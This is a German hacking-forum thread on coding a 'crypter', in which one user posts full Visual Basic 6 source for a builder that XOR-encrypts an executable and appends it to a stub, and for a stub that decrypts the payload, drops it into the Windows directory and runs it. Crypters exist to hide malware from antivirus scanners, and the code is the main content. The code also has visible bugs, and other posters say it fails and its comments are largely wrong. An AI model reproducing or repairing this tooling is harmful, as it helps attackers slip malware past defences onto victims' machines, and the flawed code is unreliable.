How to - Einen Crypter coden

[ghosty]

Mom ich suche es...

schau mal hier
http://free-hack.com/showthread.php?t=34503&page=4

Achso aber schau mal^^ Ich habe es 8 Tage Früher gepostet^^
Naja ist auch egal...

[br00_pwn]

ui richtig garnicht drauf geachtet...
naja, macht ja nichts...hauptsache viele leute lernen daraus ...
ich werde mal ein neues vtut machen, da dieses schon etwas äter ist ...
bin gerade dabei einen runtime zu coden, wenn alles klappt folgt das tut...

[ghosty]

ui richtig garnicht drauf geachtet...
naja, macht ja nichts...hauptsache viele leute lernen daraus ...
ich werde mal ein neues vtut machen, da dieses schon etwas äter ist ...
bin gerade dabei einen runtime zu coden, wenn alles klappt folgt das tut...

Werde es mir dann auch anschauen^^
Aber nen Tip xD Rede dabei^^

[SUNZ]

crypter

Dim sStub As String        ' pfad zur stub datei
Dim sFile As String        ' pfad zur datei die gecrypted werden soll
Dim sOutput As String      ' pfad der fertigen ausgegebenen datei
Dim sKey As String         ' schlüssel der für die verschlüsselung ist (kann geändert werden)
Dim sInfo As String * 100  ' informationen für die stub (die 100 bit groß sein soll) um die datei zu entschlüsseln und um zu starten
 Dim FileLen As Long        ' datei länge (kommt in die sinfo)
 Dim FileStart As Long      ' datei start
Dim sBuffer As String      ' speicher 1
Dim sBuffer2 As String     ' speicher 2
Dim iFF As Integer         ' daten kanal

' verschlüsselung (ENC heist diese hier aber es gibt noch viele andere wie zb. RC4)

Public Function ENC(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
For i = 1 To Len(sStr)
ENC = ENC & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
Next i
End Function
Private Sub Command1_Click()
sStub = App.Path & "\Stub\Stub.exe"          ' pfad zur stub (liegt im unter Ordner des Ordners)
sFile = txt.File.Text                        ' pfad zu der datei die gecrypted werden soll
sKey = "RandomString"                        ' der schlüssel der alles verschlüsseln soll
sOutput = App.Path & "\CryptedbySn0opY.exe"  ' datei wird in den gleichen ordner abgespeichert

iFF = FreeFile                               ' freier datenkanal wird geöffnet

Open sStub For Binary As #iFF                ' öffne die stub datei für binären zugriff über datenkanall
sBuffer = Space(LOF(iFF))                    ' sbuffer ist gleich so groß wie die stub datei
FileStart = LOF(iFF) + 1                     ' länge der stub datei
Get #iFF, , sBuffer                          ' ladet sbuffer in die stub
Close iFF                                    ' schließt die sstub datei

iFF = FreeFile                               ' freier datenkanal wird geöffnet
Open sFile For Binary As #iFF                ' öffnen der datei die verschlüsselt werden soll
sBuffer2 = Space(LOF(iFF))                   ' länge von speicher 2
FileLen = LOF(iFF)                           ' dateilänge = länge datenkanal
Get #iFF, , sBuffer2                         ' speichern der datei in sstub
sBuffer2 = ENC(sBuffer2, sKey)               ' verschlüsselung wird dran gehangen
Close iFF                                    ' schließt der datei

sInfo = Str(FileStart) & "#" & Str(sFileLen) & "#" & sKey & "#"         ' alles was oben steht wird in die sinfo geschrieben


iFF = FreeFile
Open sOutput For Binary As #iFF
Put #iFF, , sBuffer              ' schreibt sbuffer rein
Put #iFF, FileStart, sBuffer2    '
Put #iFF, LOF(iFF) + 1, sInfo
Close                            ' ende

MsgBox "Fertig :P !Das is ne Beta hoffentlich klappt auchnoch alles! " ' text bei erfolgreichen verschlüsselung
End Sub



Private Sub txtFile_Change()

End Sub

stub

Sub Main()                                     ' projekt starten wie bei formload
 Dim sinfo As String * 100                     ' infomationen die im builder sind werden hier übergeben (muss genau so groß sien deswegen * 100 )
 Dim soutput As String                         ' wird ausgegeben
  soutput = Environ("windir") & "\Crypted.exe" ' nachverschlüsselung soll es ins windows verzeichniss geschrieben werden
 Dim sbuffer As String
 Dim iff As Integer
 Dim cut() As String                           ' schneidet später den sinfo string auseinander
 
 
  iff = FreeFile                                                 ' öffnen eines freien kanalls
   Open App.Path & "\" & App.EXEName & ".exe" For Binary As #iff ' stub öffnet sich selber
    Get iff, LOF(iff) - 99, sinfo                                ' holen die info und schneidet sie schreib die in sinfo
     cut() = Split(sinfo, "#")                                   ' schneidet die sinfo
     sbuffer = Space(CLng(cut(1)))
    Get #iff, CLng(cut(0)), sbuffer
     sbuffer = ENC(sbuffer, cut(2))
     Close #iff
     
     iff = FreeFile
      Open soutput For Binary As #iff
      Put #iff, , sbuffer
      Close #iff
      
      Shell soutput
      
     
End Sub

' die enc verschlüsselung

Public Function ENC(ByVal sstr As String, ByVal skey As String) As String
Dim i As Long
 For i = 1 To Len(sstr)
  ENC = ENC & Chr(Asc(Mid(skey, IIf(i Mod Len(skey) <> 0, i Mod Len(skey), Len(skey)), 1)) Xor Asc(Mid(sstr, i, 1)))
  Next i
  
End Function

was ist falsch? es funzt nicht

[inmate]

Also ich kann schlecht erraten warum das nicht geht, wenn du uns nicht sagst was für ne Fehlermeldung etc kommt.Installiere grade VB6 werde mir den Code dann genau anschauen dann kann ich helfen.Sagmal hast du die erklärungen geschrieben ? wenn ja sind sie zu 90% falsch ^^

[Dragon<3]

alsoo Ich als neuling was VB6 an geht -.- habe sehr wenig verstanden ... aber das leigt bestimmt acuh daran das ich seit 3 tagen wach bin xDDD

ich werde es mir später noch mal rein zihen aber tzd. Gut erklärt habe willingestens edwas verstanden